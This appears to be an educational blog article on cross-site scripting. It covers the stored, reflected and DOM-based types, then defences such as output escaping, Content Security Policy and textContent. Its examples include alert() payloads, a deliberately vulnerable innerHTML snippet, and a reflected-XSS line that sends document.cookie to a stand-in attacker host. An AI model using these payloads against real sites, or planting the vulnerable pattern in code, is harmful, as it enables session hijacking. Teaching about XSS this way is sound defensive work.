XSS (Cross-Site Scripting) Attacks and Prevention Techniques

Cross-Site Scripting (XSS) attacks are among the most common threats in web security. These attacks allow malicious actors to inject harmful JavaScript code into websites. When users' browsers execute this code, sensitive data can be stolen, user sessions hijacked, or malicious redirects triggered.

In this article, I will explain types of XSS attacks and how to protect against them.

1. Types of XSS and How They Work

XSS attacks fall into three main categories:

1️⃣ Stored XSS

• How it works: Malicious JavaScript code is stored directly in a database and executed whenever a user visits the page.
• Example Scenario: If the following code is entered in a blog comment section:

<script>alert('XSS attack!');</script>

This code is saved to the database and runs in users' browsers every time the page is loaded.

2️⃣ Reflected XSS

• How it works: It reflects user input directly into the page without validation.
• Example Scenario: If this code is entered into a search box:

<script>document.location='http://hacker.site/steal?cookie=' + document.cookie</script>

If executed, this code can send the user's session cookie to the attacker.

3️⃣ DOM-Based XSS

• How it works: The JavaScript code is executed via DOM (Document Object Model) manipulation.
• Example Scenario:

var userInput = location.hash.substring(1);
document.getElementById('content').innerHTML = userInput;

An attacker might share a URL like this:

https://example.com/#<script>alert('Hacked!')</script>

If the input is used without validation, malicious code is executed when the page loads.

2. XSS Prevention Techniques

To prevent XSS attacks, apply the following security measures:

1️⃣ Validate and Sanitize User Inputs

Validating incoming data is the first line of defense. HTML or JavaScript code entered by users should be filtered.

🔒 Safe Input Filtering (with PHP):

$input = htmlspecialchars($_POST['input'], ENT_QUOTES, 'UTF-8');

📌 This process neutralizes HTML tags like <script>.

2️⃣ Use Content Security Policy (CSP)

CSP allows only scripts from specified sources to run.

🔒 Example CSP Header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com

This ensures only trusted script sources are executed.

3️⃣ Avoid Using JavaScript innerHTML

Many XSS attacks are carried out using DOM manipulation methods like innerHTML. Use textContent instead for better security:

document.getElementById('output').textContent = userInput;

This treats input as plain text and prevents code execution in the browser.

4️⃣ Use Secure Validation and Escaping

• 🛡️ Escape data for HTML, JavaScript, and URL contexts in web apps.
• 🔐 Use secure rendering systems like Twig, EJS, or Handlebars.js.

Example:

echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

This prevents direct insertion of user inputs into HTML.

XSS attacks pose a serious threat to websites. However, they can be prevented with proper security measures. To secure your web apps:

• ✅ Filter and validate user inputs
• ✅ Use CSP headers to restrict sources
• ✅ Use textContent instead of innerHTML in JavaScript
• ✅ Escape dangerous characters

By implementing these measures, you can make your site more resilient to XSS attacks.